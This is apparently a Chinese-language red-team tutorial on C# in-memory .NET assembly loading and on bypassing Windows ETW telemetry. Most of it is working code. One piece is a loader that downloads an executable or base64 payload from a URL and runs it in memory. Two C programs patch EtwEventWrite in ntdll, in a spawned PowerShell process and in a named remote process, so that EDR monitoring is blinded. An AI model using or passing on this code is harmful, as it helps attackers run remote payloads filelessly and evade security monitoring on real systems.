文章目录
- c#
- ExecuteAssembly
- bypass etw
c#
loader
一种是通过反射找到指定空间的类中method进行Invoke
另一种是通过EntryPoint.Invoke加载
反射加载
Assembly.Load()是从String或AssemblyName类型加载程序集,可以读取字符串形式的程序集
Assembly.LoadFrom()从指定文件中加载程序集,同时会加载目标程序集所引用和依赖的其他程序集。
Assembly.LoadFile()也是从指定文件中加载程序集,但不会加载目标程序集所引用和依赖的其他程序集。
a.cs
using System;
using System.Diagnostics;
namespace DemoExe
{class Program{static void Main(string[] args){Console.WriteLine("DemoExe Run!!");}}public class Test{public static void TestMethod(){Process p = new Process();p.StartInfo.FileName = "C:\\windows\\system32\\calc.exe";p.Start();}}
}
csc /out:test.exe .\a.cs
create.cs
using System;
namespace Tobase64
{class Program{static void Main(string[] args){byte[] base64Buff = File.ReadAllBytes("E:\\tmp\\c#test\\test.exe");string base64string = Convert.ToBase64String(base64Buff);Console.WriteLine(base64string);}}
}
loader.cs
using System;
using System.Reflection;
namespace LoadExe
{class Program{static void Main(string[] args){string base64string = @"";byte[] Buffer = Convert.FromBase64String(base64string);Assembly assembly = Assembly.Load(Buffer);Type type = assembly.GetType("DemoExe.Test");MethodInfo method = type.GetMethod("TestMethod");Object obj = assembly.CreateInstance(method.Name);method.Invoke(obj, null);}}
}
远程拉取
using System;
using System.Net;
using System.Reflection;namespace demo1
{class Program{static void Main(string[] args){string fileDownloadurl = null;string filedownloadtype = null;byte[] filebuffer = null;try{fileDownloadurl = args[1];filedownloadtype = args[0];}catch{Console.WriteLine("\n加载远程exe文件到内存执行:sflcsharp.exe -b exe文件的url");Console.WriteLine("\n加载远程base64密文文件到内存执行:为sflcsharp.exe -b64 b64文件的url");Environment.Exit(0);}if (filedownloadtype == "-b"){filebuffer = Downloadbinarypefilebyhttp(fileDownloadurl);}if (filedownloadtype == "-b64"){filebuffer = downloadbase64(fileDownloadurl);}if (filebuffer != null){Console.WriteLine("正在将下载下来的程序加载到当前用户的内存中");Assembly assemblyinstance = Assembly.Load(filebuffer); //将下载下来的程序加载到当前用户的内存中Console.WriteLine("正在寻找程序入口点并执行程序");assemblyinstance.EntryPoint.Invoke(null, new object[] { null }); //找到程序的入口点并执行程序Console.WriteLine("\n程序执行完毕");}}public static byte[] Downloadbinarypefilebyhttp(string url){Console.WriteLine("\n创建WebClient类用来下载PE文件");WebClient downloadwebclient = new WebClient(); //这个类可以从指定url上下载或者上传数据Console.WriteLine("\n下载文件后自动保存为byte[]格式\n");byte[] test = downloadwebclient.DownloadData(url);return test;}public static byte[] downloadbase64(string url){Console.WriteLine("\n创建WebClient类用来下载base64密文文件,下载到的数据按照字符串格式保存在内存");WebClient downloadwebclient = new WebClient(); //这个类可以从指定url上下载或者上传数据string b64 = downloadwebclient.DownloadString(url);Console.WriteLine("将base64字符串转换为byte[]类型的数据");byte[] test = Convert.FromBase64String(b64);return test;}}
}
ExecuteAssembly
简介
功能通过在目标机器的内存中加载.NET程序集并执行它,而不需要将程序集写入到磁盘,避免在磁盘上留下可疑的文件,从而绕过某些基于文件扫描的防御手段。
过程
1 加载CLR环境 2 获取程序域 3 装载程序集 4 执行程序集
bypass etw
程序集被调用的一些信息被记录,需要bypass etw
Patch EtwEventWrite Function
Patch EtwEventWrite
或者EtwEventWriteFull
xdb分析略,修改ntdll中EtwEventWrite直接ret(c3),重新获取Etw则会返回超时
c语言实现
#include <Windows.h>
#include <stdio.h>
#include <Tlhelp32.h>
void bypassetw()
{STARTUPINFOA si = { 0 };PROCESS_INFORMATION pi = { 0 };si.cb = sizeof(si);CreateProcessA(NULL, (LPSTR)"powershell -NoExit", NULL, NULL, NULL, CREATE_SUSPENDED, NULL, NULL, &si, &pi);unsigned char EtwEventWrite[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0 };HMODULE hNtdll = GetModuleHandleA("ntdll.dll");LPVOID pEtwEventWrite = GetProcAddress(hNtdll, (LPCSTR)EtwEventWrite);DWORD oldProtect,ool=0;char patch = 0xc3;VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProtect);WriteProcessMemory(pi.hProcess, (LPVOID)pEtwEventWrite, &patch, sizeof(char), NULL);VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, oldProtect, &ool);ResumeThread(pi.hThread);CloseHandle(pi.hProcess);CloseHandle(pi.hThread);FreeLibrary(hNtdll);
}
int main() {bypassetw();return 0;
}
远程指定进程bypass,将之前写的远程进程注入稍微修改即可
#include <windows.h>
#include <stdio.h>
#include <TlHelp32.h>
typedef FARPROC
(WINAPI* pGetProcAddress)(_In_ HMODULE hModule,_In_ LPCSTR lpProcName);
typedef HMODULE
(WINAPI* pLoadLibraryA)(_In_ LPCSTR lpLibFileName);BOOL mydllinject(DWORD pid);
DWORD fun(LPCTSTR ProcessName);
int main()
{DWORD pid = 0;pid = fun(L"cc.exe");printf("pid:%u\n", pid);mydllinject(pid);system("pause");return 0;
}BOOL mydllinject(DWORD pid)
{HMODULE hMod = GetModuleHandle(L"kernel32.dll");pGetProcAddress pThreadProc = (pGetProcAddress)GetProcAddress(hMod, "LoadLibraryW");HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);if (hProcess == NULL){return FALSE;}char patch = 0xc3;unsigned char EtwEventWrite[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0 };HMODULE hNtdll = GetModuleHandleA("ntdll.dll");LPVOID pEtwEventWrite = GetProcAddress(hNtdll, (LPCSTR)EtwEventWrite);DWORD oldProtect, ool = 0;printf("%x\n", pEtwEventWrite);VirtualProtectEx(hProcess, (LPVOID)pEtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProtect);WriteProcessMemory(hProcess, (LPVOID)pEtwEventWrite, &patch, sizeof(char), NULL);VirtualProtectEx(hProcess, (LPVOID)pEtwEventWrite, 1, oldProtect, &ool);
}
DWORD fun(LPCTSTR ProcessName)
{HANDLE hProceessnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (hProceessnap == INVALID_HANDLE_VALUE){printf_s("创建进行快照失败\n");return 0;}else{PROCESSENTRY32 pe32;pe32.dwSize = sizeof(pe32);BOOL hProcess = Process32First(hProceessnap, &pe32);while (hProcess){if (_wcsicmp(ProcessName, pe32.szExeFile) == 0){return pe32.th32ProcessID;}hProcess = Process32Next(hProceessnap, &pe32);}}CloseHandle(hProceessnap);return 0;
}
效果展示,成功致盲Etw对cc.exe的监测